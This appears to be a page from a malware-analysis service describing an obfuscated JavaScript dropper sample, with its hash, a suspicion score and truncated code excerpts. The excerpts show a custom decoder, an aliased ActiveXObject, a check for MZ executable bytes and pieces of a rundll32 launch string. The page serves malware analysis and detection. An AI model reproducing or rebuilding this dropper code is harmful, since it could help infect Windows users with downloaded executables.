Suspicious 66% javascript-malware-collection Download

20161221_9c94ee506cee8f933e32be6559bd84a1.js

Obfuscated JS dropper with ActiveX, eval, base64 payloads

Checking for MZ header (77, 90) in a byte arrayActiveXObject via local alias
SHA-2568209ee69ef719af76c053a07400394a18503c1065e21a1bd231373c506fce2b6

Evidence

Hex arithmetic in string operations lines 2–14
2:559… 7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7
3
4);
5var silkopil = "\u002f";
6 var Hesrshish =- 0x01 +0x09+0xF7 ;
7String.prototype.osenOSENles = function() {
8SupchikleavesFROG2XCOP = 0;
9 var SupchikleavesRazlomSS, SupchikleavesFROG2ddDccC2, SupchikleavesFROG2c3, SupchikleavesFROG2c4;
10
11 var SupchikleavesFROG2out = "";
12
13 var SupchikleavesFROG2Supchikleaveska= this.replace(/FROSTICK/gi, SupchikleavesFROG2out);
14 var SupchikleavesFROG2len = SupchikleavesFROG2sud(Supch …
charCodeAt() method call lines 17–20
17:4… {
18 var Supchikleaveskoch = SupchikleavesFROG2Supchikleaveska.charCodeAt(SupchikleavesFROG2XCOP++) &(0x132- 0x33);
19 SupchikleavesRazlomSS = levitron[Supchikleaveskoch];
20 } while (SupchikleavesFROG2XCOP < SupchikleavesFRO …
Builds characters with String.fromCharCode lines 27–35
27:37… 2 +1== 0)
28 break;
29 SupchikleavesFROG2out += String['fromCharCode']((SupchikleavesRazlomSS << 2) | ((SupchikleavesFROG2ddDccC2 & 0x30) >> 4)); do {
30 SupchikleavesFROG2c3 = SupchikleavesFROG2Supchikleaveska.charCodeAt(SupchikleavesFROG2XCOP++) & 0xff;
31
32 if (SupchikleavesFROG2c3 == 10*6+0.5*2)
33 return SupchikleavesFROG2out;
34
35 Supchikle …
ActiveXObject via local alias lines 185–189
185:13… leavesFROG2d2=SupchikleavesFROG2DoUtra.pop();
186SupchikleavesFROG2fabled="Valar2Morgulis";
187 var SupchikleavesFROG2LitoyDISK=ActiveXObject;
188 var doubleTrouble=SupchikleavesFROG2d2.split("45");SupchikleavesFROG2Native.SupchikleavesFROG2typize=function(a,b){a.type||(a.type=function(a){return SupchikleavesFROG2$type(a)===b})};
189Sup …
Checks array for PE magic bytes lines 257–264
257:67… vesTalabaev);
258 if(SupchikleavesTalabaevLaa < 29989)return false;
259 if (SupchikleavesTalabaev[0]!= 77 || SupchikleavesTalabaev[1]!= 90)return false;
260 SupchikleavesFROG2CHICKA = SupchikleavesFROG2CHICKA + SupchikleavesFROG2SIDRENKOV;
261 REBEKK2(SupchikleavesFROG2CHICKA, SupchikleavesTalabaev );
262
263 var SupchikleavesFROG2ddsSSddSd = ",happy";
264SupchikleavesFROG2ddsSSddSd = (SupchikleavesFROG2StrokaParam2,"undl") + (SupchikleavesFROG2StrokaParam2,"l32 ") + Supchikleav …

Keyboard shortcuts on this page: j for the next sample, k for the previous one, x to go back to the feed, d to download the original bytes, r to re-queue the sample for analysis.